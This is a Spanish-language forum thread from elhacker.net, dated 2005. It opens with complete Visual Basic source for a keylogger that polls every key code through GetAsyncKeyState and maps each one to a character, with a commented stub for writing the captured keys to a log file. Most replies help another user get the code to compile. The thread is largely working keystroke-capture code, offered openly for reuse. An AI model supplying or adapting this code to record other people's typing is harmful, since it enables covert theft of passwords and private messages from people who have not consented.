elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  keylogger en VB
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: keylogger en VB  (Leído 31,294 veces)
soplo
Ex-Staff
*
Desconectado Desconectado

Mensajes: 3.592

Debian rool'z


Ver Perfil
keylogger en VB
« en: 25 Agosto 2005, 00:06 am »

Hola
Este es un keylooger que hice hace un año o así. Funciona bien aunque es manifiestamente mejorable. Es un buen ejemplo.

Hay dos partes. Una es un pequeño programa de prueba (para ver lo que el keylogger va detectando). Para ello le poneis los controles y el código indicado y luego os vais por ejemplo al notepad y os poneis a escribir. En el programa de prueba deberían ir quedando todas las pulsaciones que vais haciendo.

La rutina fundamental es la función ObtenerTecla y unas pequeñas funciones para saber si es mayúscula o no , etc.

Existe otra técnica posible para hacer un keylogger. La que se llama un hook de teclado (o un gancho de teclado). Tiene algunas ventajas y algún inconveniente.
-----------------------------------------------------------------------------------
Programa que prueba la rutina
En una aplicación visual basic añadir al formulario form1 el cuadro de texto text1 con las siguientes propiedades:
Código:
text1.multiline = true 
text1.heigh= 1335
text1.width = 12975


Poner un objeto timer con las siguiente propiedad
Código:
timer1.interval=100
(probar con distintos resultados para sacar consecuencias)

Poner un command con la siguiente propiedad
Código:
command1.caption="Limpiar" 


----------------------------------------------------------------------------------
Rutinas del programa de prueba

Código:
Private Sub Command1_Click() 
Text1 = "" ' vaciar textbox
End Sub


Código:
Private Sub Text1_Change() 
If Len(Text1) > 500 Then
' Escribir txt.log
End If
End Sub

-----------------------------------------------------------------------------------
comienzo de keylogger
------------------------------------------------------------------------------------
Función ShiftPulsado. Comprueba si se ha pulsado cualquiera de las dos teclas shift del teclado (es posible diferenciar cada una si se quiere)

Código:
Private Function ShiftPulsado() ' true si está pulsado shift 
ShiftPulsado = IIf(GetKeyState(16) < 0, True, False) 'VK_SHIFT
End Function

------------------------------------------------------------------------------------
Función BloqMayus. Comprueba si se ha activado bloq mayus

Código:
Private Function BloqMayus() 'True si está pulsado bloqmayus 
BloqMayus = IIf(GetKeyState(20) < 0, True, False) 'VK_CAPSLOCK
End Function

------------------------------------------------------------------------------------
Función NumLock. Comprueba si está pulsada la tecla Numlock

Código:
Private Function NumLock() 'True si está pulsado NUMLOCK 
NumLock = IIf(GetKeyState(144) < 0, True, False) 'VK_NUMLOCK
End Function

-----------------------------------------------------------------------------------
Función AltGr comprueba si está pulsada la tecla ALT GR.

Código:
Private Function AltGr() 'true si está pulsado ALT GR 
AltGr = IIf(GetKeyState(165) < 0, True, False) 'VK_RMENU
End Function

-----------------------------------------------------------------------------------
Función del timer que comprueba cada cierto intervalo de tiempo si se ha pulsado una tecla. Para ello revisa cada una de las posibilidades y si encuentra una tecla pulsada la guarda en la variable Tecla y la añade al text1.

Código:
Private Sub Timer1_Timer() 'probar con distintos intervalos de timer 
Dim Tecla As String
For x% = 0 To 255 'para los 255 códigos ascii
If GetAsyncKeyState(x%) Then 'si se ha pulsado una tecla
Tecla = ObtenerTecla(x%) 'obtener tecla pulsada
Text1 = Text1 & Tecla 'añadir tecla a teclas pulsadas
Text1.Refresh
End If
Next
End Sub

------------------------------------------------------------------------------------
Función ObtenerTecla. Se le pasa como parámetro el código virtual de la tecla pulsada y devuelve el resultado. Es la rutina propiamente de un keylogger.

Fijaos que en vez de el nombre de la tecla he pueso su código virtual. La razón es que teóricamente es igual, pero con los nombres no me funcionaba y cuando puse su código funcionó.

Código:
Function ObtenerTecla(x As Integer) 
Dim Tecla As String
Select Case x
Case 1 'VK_LBUTTON 'botón izquierdo del ratón
Case 2 'VK_RBUTTON 'botón derecho del ratón
Case 4 'VK_MBUTTON 'botón medio del ratón
Case 3 'VK_CANCEL 'break interrumpir
Case 8 'VK_BACK
Tecla = "[DEL]"
Case 9 'VK_TAB
Tecla = "[TAB]"
Case 13 'VK_RETURN
Tecla = "[ENTER]"
'opcionalmente se puede poner que se inserte línea en vez de insertar el literal [ENTER]
'sería así: Tecla = Chr(13) & Chr(10)
Case 92 'VK_CLEAR '5 en keypadd sin numlook
Case 19 'VK_PAUSE 'Pausa
Tecla = "[PAUSA]"
Case 32 'VK_SPACE
Tecla = " "
Case 27 'VK_ESC 'escape
Tecla = "[ESC]"
Case 33 'VK_PRIOR
Tecla = "[RE PAG]"
Case 34 'VK_NEXT
Tecla = "[AV PAG]"
Case 35 'VK_END
Tecla = "[FIN]"
Case 36 'VK_HOME
Tecla = "[INICIO]"
Case 37 'VK_LEFT
Tecla = "[IZQ]"
Case 38 'VK_RIGHT
Tecla = "[DER]"
Case 39 'VK_UP
Tecla = "[ARRIBA]"
Case 40 'VK_DOWN
Tecla = "[ABAJO]"
Case 44 'imprpant
Tecla = "[IMPR PANT]"
Case 45, VK_INSERT
Tecla = "[INS]"
Case 46, VK_DELETE
Tecla = "[SUPR]"
Case 48 To 57 'VK_0 - VK_9
If Not ShiftPulsado Then 'si no se ha cambiado tecla de shift
Tecla = Str$(x - 48) 'poner en tecla el nº correspondiente
Else
Tecla = Mid$("!""""·$%&/()=", x - 47, 1) 'extraer el caracter correspondiente
End If
If AltGr Then
If x = 49 Then 'alt gr + 1
Tecla = "|"
ElseIf x = 50 Then 'alt gr + 2
Tecla = "@"
ElseIf x = 51 Then 'alt gr + 3
Tecla = "#"
ElseIf x = 54 Then 'alt gr +6
Tecla = "¬"
End If
End If
Case 65 To 90 'letras VK_A - VK_Z
If BloqMayus Then
Tecla = IIf(ShiftPulsado, LCase$(Chr(x)), UCase(Chr(x)))
Else
Tecla = IIf(ShiftPulsado, UCase$(Chr(x)), LCase$(Chr(x)))
End If
Case 96 To 105 'numpad VK_NUMPAD0 - VK_NUMPAD9'
If Not NumLock Then
Tecla = LTrim$(Str$(x - 96)) 'obtener número correspondiente a teclado numpad
Else
Tecla = ObtenerTecla(x - 48) 'obtener valor correspondiente a numpad sin numlock
End If
Case 106 'VK_MULTIPLY
Tecla = "*"
Case 107 'VK_NUMPADADD
Tecla = "+"
Case 110 'VK_NUMPADDECIMAL
Tecla = "."
Case 111 'VK_NUMPADDIVIDE
Tecla = "/"
Case 109 'VK_SUBSTRACKT
Tecla = "-"
Case 112 To 123 'VK_F1 - VK_F12
Tecla = "[F" & x - 111 & "]"
Case 145 'VK_SCROLL 'Bloq Despl
Tecla = "[BLOQ DESPL]"
Case 186 '^`
Tecla = IIf(ShiftPulsado, "^", "`")
Tecla = IIf(AltGr, "[", Tecla)
Case 187 '+ *
Tecla = IIf(ShiftPulsado, "*", "+")
Tecla = IIf(AltGr, "]", Tecla)
Case 188 '; ,
Tecla = IIf(ShiftPulsado, ";", ",")
Case 189 '- _ )
Tecla = IIf(ShiftPulsado, "_", "-")
Case 190 ': .
Tecla = IIf(ShiftPulsado, ":", ".")
Case 191 'ç Ç
Tecla = IIf(ShiftPulsado, "Ç", "ç")
Tecla = IIf(AltGr, "}", Tecla)
Case 192 '~ '
Tecla = IIf(ShiftPulsado, "~", "'")
Case 219 '? '
Tecla = IIf(ShiftPulsado, "?", "'")
Case 220 '| \
Tecla = IIf(ShiftPulsado, "ª", "º")
Tecla = IIf(AltGr, "\", Tecla)
Case 221 '¿ ¡
Tecla = IIf(ShiftPulsado, "¿", "¡")
Case 222 ' ¨ ´
Tecla = IIf(ShiftPulsado, "¨", "´")
Tecla = IIf(AltGr, "{", Tecla)
Case 226 ' < >
Tecla = IIf(ShiftPulsado, ">", "<")
End Select
ObtenerTecla = Tecla
End Function


« Última modificación: 25 Agosto 2005, 09:15 am por soplo » En línea

Callar es asentir ¡No te dejes llevar!
ZEALOT

Desconectado Desconectado

Mensajes: 38



Ver Perfil
Re: keylogger en VB
« Respuesta #1 en: 26 Agosto 2005, 02:32 am »

bakano pez, muy bueno, el keylog de hook en vb es facil SIN una dll hecha en vb, simplemente el programa se "hookea" ;) a si mismo, con una funcion calback y listo a escuchar los mensajes del teclado, la otra forma en vb es con una dll PERO esta debe ser hecha en c++, porque las dll que genera vb son dll activex o no         se que passa pero no se puede supuestamente, toy intentando hacerla con la dll de vb pero creo que es mas facil con c++...

suertes  ;D


En línea

Bourne Ultimatum


Desconectado Desconectado

Mensajes: 382



Ver Perfil WWW
Re: keylogger en VB
« Respuesta #2 en: 20 Septiembre 2005, 23:30 pm »

me tira un error en esta parte
Código:
Private Sub Timer1_Timer() 'probar con distintos intervalos de timer
Dim Tecla As String
For x% = 0 To 255 'para los 255 códigos ascii
If GetAsyncKeyState(x%) Then 'si se ha pulsado una tecla
Tecla = ObtenerTecla(x%) 'obtener tecla pulsada
Text1 = Text1 & Tecla 'añadir tecla a teclas pulsadas
Text1.Refresh
End If
Next
End Sub

"Procedimiento Sub o Function no definido"
ayuda!
En línea

"El pertenecia a esa clase singular de hombres que la especie produce rara vez,
en quienes el ansia de poder ilimitado es tan extremo que para conseguirlo
cualquier sufrimiento parece natural" Ernesto CHE Guevara

http://www.desdeabajorugby.com.ar
NYlOn


Desconectado Desconectado

Mensajes: 842


OOOOHHHHHH, TARAGÜIIII xDDDDDD


Ver Perfil WWW
Re: keylogger en VB
« Respuesta #3 en: 21 Septiembre 2005, 00:04 am »

tenes que agregar las siguientes declaraciones:

Código:
Public Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
Public Declare Function GetKeyState Lib "user32" Alias "GetKeyState" (ByVal nVirtKey As Long) As Integer

x cierto, muy bueno el KL, gracias x el posteo Soplo ;)

salud0s

G0nz4
En línea

Bourne Ultimatum


Desconectado Desconectado

Mensajes: 382



Ver Perfil WWW
Re: keylogger en VB
« Respuesta #4 en: 21 Septiembre 2005, 00:12 am »

"error de compilacion
los cometarios solamente pueden aparecer depues de end sub, end function o end property"

y esto?
En línea

"El pertenecia a esa clase singular de hombres que la especie produce rara vez,
en quienes el ansia de poder ilimitado es tan extremo que para conseguirlo
cualquier sufrimiento parece natural" Ernesto CHE Guevara

http://www.desdeabajorugby.com.ar
NYlOn


Desconectado Desconectado

Mensajes: 842


OOOOHHHHHH, TARAGÜIIII xDDDDDD


Ver Perfil WWW
Re: keylogger en VB
« Respuesta #5 en: 21 Septiembre 2005, 00:22 am »

emm, los comentarios pueden aparecer en cualkier lad0 q yo sepa =S, nunca me trejeron problemas...
estas seguro que es asi el error ??
En línea

Bourne Ultimatum


Desconectado Desconectado

Mensajes: 382



Ver Perfil WWW
Re: keylogger en VB
« Respuesta #6 en: 21 Septiembre 2005, 00:30 am »

sip puse lo q vos me dijiste arriba de tdo y aparece eso
En línea

"El pertenecia a esa clase singular de hombres que la especie produce rara vez,
en quienes el ansia de poder ilimitado es tan extremo que para conseguirlo
cualquier sufrimiento parece natural" Ernesto CHE Guevara

http://www.desdeabajorugby.com.ar
Bourne Ultimatum


Desconectado Desconectado

Mensajes: 382



Ver Perfil WWW
Re: keylogger en VB
« Respuesta #7 en: 21 Septiembre 2005, 00:39 am »

con esto no me tira error

Código:
Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

pero ahora me tira error aca:
Código:
For x% = 0 To 255 'para los 255 códigos ascii
dice variable no definida en x%
En línea

"El pertenecia a esa clase singular de hombres que la especie produce rara vez,
en quienes el ansia de poder ilimitado es tan extremo que para conseguirlo
cualquier sufrimiento parece natural" Ernesto CHE Guevara

http://www.desdeabajorugby.com.ar
el_chente23

Desconectado Desconectado

Mensajes: 142



Ver Perfil
Re: keylogger en VB
« Respuesta #8 en: 21 Septiembre 2005, 00:49 am »

Supongo que no tienes declarada la variable "x".

Saludos
En línea

Bourne Ultimatum


Desconectado Desconectado

Mensajes: 382



Ver Perfil WWW
Re: keylogger en VB
« Respuesta #9 en: 21 Septiembre 2005, 00:56 am »

no eso lo veo
pero como la declaroo

saludos
En línea

"El pertenecia a esa clase singular de hombres que la especie produce rara vez,
en quienes el ansia de poder ilimitado es tan extremo que para conseguirlo
cualquier sufrimiento parece natural" Ernesto CHE Guevara

http://www.desdeabajorugby.com.ar
Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
keylogger
Scripting
Panic0 1 2,708 Último mensaje 6 Agosto 2020, 08:15 am
por Gabriela
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines